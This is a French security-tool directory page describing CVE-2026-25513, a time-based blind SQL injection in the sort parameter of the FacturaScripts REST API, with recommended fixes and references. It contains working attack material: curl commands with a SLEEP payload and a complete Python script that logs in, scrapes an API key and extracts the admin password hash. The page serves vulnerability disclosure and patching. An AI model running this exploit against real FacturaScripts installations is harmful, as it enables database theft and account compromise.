Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-25513 — CVE-2026-25513 - FacturaScripts has SQL Injection in API ORDER BY Clause | Kitploit
Outils/GitHubGitHub/lukasz-rybak/cve-2026-25513
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHublukasz-rybak/cve-2026-25513

CVE-2026-25513

CVE-2026-25513 - FacturaScripts has SQL Injection in API ORDER BY Clause

Voir le dépôt
il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-25513 : FacturaScripts a une injection SQL dans la clause ORDER BY de l'API

Aperçu

ChampDétails
Identifiant CVECVE-2026-25513
SévéritéÉLEVÉE
Avis de sécuritéVoir l'avis
Découvert parLukasz Rybak

Produits concernés

  • facturascripts/facturascripts (versions: < 2025.81)

Classification CWE

  • CWE-20 : Validation incorrecte des entrées
  • CWE-89 : Neutralisation incorrecte des éléments spéciaux utilisés dans une commande SQL ('Injection SQL')
  • CWE-943 : Neutralisation incorrecte des éléments spéciaux dans la logique de requête de données
  • CWE-1286 : Validation incorrecte de la correction syntaxique des entrées

Détails

Résumé

FacturaScripts contient une vulnérabilité critique d'injection SQL dans l'API REST qui permet aux utilisateurs authentifiés de l'API d'exécuter des requêtes SQL arbitraires via le paramètre sort. La vulnérabilité se trouve dans la méthode ModelClass::getOrderBy() où les paramètres de tri fournis par l'utilisateur sont directement concaténés dans la clause SQL ORDER BY sans validation ni assainissement. Cela affecte tous les points de terminaison de l'API qui prennent en charge la fonctionnalité de tri.


Détails

L'API REST de FacturaScripts expose les modèles de base de données via divers points de terminaison (par exemple, /api/3/users, /api/3/attachedfiles, /api/3/customers). Ces points de terminaison prennent en charge un paramètre sort qui permet aux clients de spécifier l'ordre des résultats. L'API traite ce paramètre via la méthode ModelClass::all(), qui appelle la fonction vulnérable getOrderBy().

Emplacements du code vulnérable

1. Modèles hérités : Fichier : /Core/Model/Base/ModelClass.php Méthode : getOrderBy() Concaténation directe des clés et des valeurs du tableau $order.

2. Modèles modernes (DbQuery) : Fichier : /Core/DbQuery.php Méthode : orderBy() Lignes : 255-259

root@kitploit:~
        // If it contains parentheses, it is not escaped (VULNERABILITY!)
        if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
            $this->orderBy[] = $field . ' ' . $order;
            return $this;
        }

Cette vérification est destinée à autoriser les fonctions SQL mais échoue à les valider, permettant une injection SQL arbitraire.


Preuve de concept (PoC)

Prérequis

  • Jeton d'authentification API valide (en-tête X-Auth-Token)
  • Accès aux points de terminaison de l'API FacturaScripts

Vérification étape par étape (CLI)

Comme FacturaScripts nécessite une clé API existante, nous nous connectons d'abord via l'interface web pour trouver une clé valide.

1. Connexion et récupération d'une clé API valide : Nous gérons le jeton CSRF et les cookies de session pour accéder aux paramètres et récupérer la première clé disponible.

root@kitploit:~
# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"

# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)

# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"

2. Vérification de l'injection SQL basée sur le temps : Utilisez la API_KEY extraite dans l'en-tête X-Auth-Token.

root@kitploit:~
# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"

# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
  "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"

Résultat attendu : La requête injectée prendra significativement plus de temps (le délai dépend des enregistrements de la base de données), confirmant l'injection SQL.


Outil d'exploitation automatisé

Ce script se connecte automatiquement à FacturaScripts, récupère une clé API valide et effectue une extraction de données sensible à la casse à l'aide d'une injection SQL aveugle basée sur le temps.

root@kitploit:~
import requests
import time
import string
import re

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"

session = requests.Session()

def get_token(url):
    """Extract multireqtoken from any page"""
    res = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
    return match.group(1) if match else None

def get_api_key():
    """Logs in and retrieves the first active API key dynamically"""
    print(f"[*] Logging in as {USERNAME}...")
    
    # 1. Login flow
    token = get_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get initial CSRF token")
        return None
        
    login_data = {
        "fsNick": USERNAME,
        "fsPassword": PASSWORD,
        "action": "login",
        "multireqtoken": token
    }
    res = session.post(f"{BASE_URL}/login", data=login_data)
    if "Dashboard" not in res.text:
        print("[!] Login failed!")
        return None
    print("[+] Login successful.")

    # 2. Retrieve API Key ID from settings
    print("[*] Accessing API settings...")
    res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
    id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
    if not id_match:
        print("[!] No API keys found in system!")
        return None
    
    api_id = id_match.group(1)
    
    # 3. Get the actual API key string
    print(f"[*] Retrieving API key for ID {api_id}...")
    res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
    key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
    if not key_match:
        print("[!] Failed to extract API key from page!")
        return None
        
    return key_match.group(1)

def time_based_sqli(api_key, payload):
    """Execute time-based SQL injection and measure response time"""
    headers = {"X-Auth-Token": api_key}
    params = {
        'limit': 1,
        f'sort[{payload}]': 'ASC'
    }
    start = time.time()
    try:
        requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
    except requests.exceptions.ReadTimeout:
        return 10.0
    except:
        pass
    return time.time() - start

def extract_data(api_key, query, length=60):
    """Extracts data char by char using time-based blind SQLi"""
    extracted = ""
    charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
    
    print(f"[*] Starting extraction for query: {query}")
    for i in range(1, length + 1):
        found = False
        for char in charset:
            # Added BINARY to force case-sensitive comparison
            payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
            elapsed = time_based_sqli(api_key, payload)
            
            if elapsed >= 2.0:
                extracted += char
                print(f"[+] Found char at pos {i}: {char} -> {extracted}")
                found = True
                break
        if not found:
            break
    return extracted

def main():
    print("="*60)
    print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
    print("="*60)

    # 1. Get API Key dynamically
    api_key = get_api_key()
    if not api_key:
        return
    print(f"[+] Using API Key: {api_key}")

    # 2. Verify vulnerability
    print("[*] Verifying vulnerability...")
    if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
        print("[+] System is VULNERABLE!")
    else:
        print("[-] System not vulnerable or API key invalid.")
        return

    # 3. Extract Admin Password Hash
    admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
    print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")

if __name__ == "__main__":
    main()
image

Impact

Confidentialité des données

  • Divulgation complète de la base de données via des techniques d'injection SQL aveugle
  • Extraction de données sensibles, notamment :
    • Identifiants utilisateur et clés API
    • Données personnelles identifiables des clients (PII)
    • Registres financiers et données de transaction
    • Informations commerciales et de tarification
    • Configuration système et secrets

Qui est concerné ?

  • Organisations utilisant l'API FacturaScripts pour les intégrations
  • Applications mobiles et intégrations tierces utilisant l'API
  • Tous les utilisateurs dont les données sont accessibles via l'API
  • Partenaires commerciaux avec accès API

Correctif recommandé

Correction immédiate

Option 1 : Mettre en place une validation stricte par liste blanche (recommandé)

root@kitploit:~
// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()

private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    // Get valid column names from model
    $validColumns = array_keys(static::getModelFields());

    foreach ($order as $key => $value) {
        // Validate column name against whitelist
        if (!in_array($key, $validColumns, true)) {
            throw new \Exception('Invalid column name for sorting: ' . $key);
        }

        // Validate sort direction (must be ASC or DESC)
        $value = strtoupper(trim($value));
        if (!in_array($value, ['ASC', 'DESC'], true)) {
            throw new \Exception('Invalid sort direction: ' . $value);
        }

        // Escape column name
        $safeColumn = self::$dataBase->escapeColumn($key);
        $result .= $coma . $safeColumn . ' ' . $value;
        $coma = ', ';
    }

    return $result;
}

Option 2 : Utiliser les fonctions d'échappement de base de données

root@kitploit:~
private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    foreach ($order as $key => $value) {
        // Escape identifiers and validate direction
        $safeColumn = self::$dataBase->escapeColumn($key);
        $safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
            ? strtoupper($value)
            : 'ASC';

        $result .= $coma . $safeColumn . ' ' . $safeDirection;
        $coma = ', ';
    }

    return $result;
}

Option 3 : Utiliser le modèle Query Builder

root@kitploit:~
// Refactor to use prepared statements
public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
{
    $query = self::table();

    // Apply WHERE conditions
    foreach ($where as $condition) {
        $query->where($condition);
    }

    // Apply ORDER BY with validation
    foreach ($order as $column => $direction) {
        if (!array_key_exists($column, static::getModelFields())) {
            continue; // Skip invalid columns
        }
        $query->orderBy($column, $direction);
    }

    return $query->offset($offset)->limit($limit)->get();
}

Bonnes pratiques de sécurité de l'API

root@kitploit:~
// Add to API configuration
$config = [
    'max_sort_fields' => 3,  // Limit number of sort fields
    'allowed_sort_fields' => ['id', 'date', 'name'],  // Whitelist
    'default_sort' => 'id ASC',  // Safe default
];

Crédits

Découvert par : Łukasz Rybak

Références

  • https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99
  • https://github.com/NeoRazorX/facturascripts/commit/1b6cdfa9ee1bb3365ea4a4ad753452035a027605
  • https://nvd.nist.gov/vuln/detail/CVE-2026-25513
  • https://github.com/advisories/GHSA-cjfx-qhwm-hf99

Avis de non-responsabilité

Ce CVE a été divulgué de manière responsable conformément aux pratiques de divulgation coordonnée des vulnérabilités. Les informations fournies ici sont uniquement à des fins éducatives et défensives.

Télécharger l’outil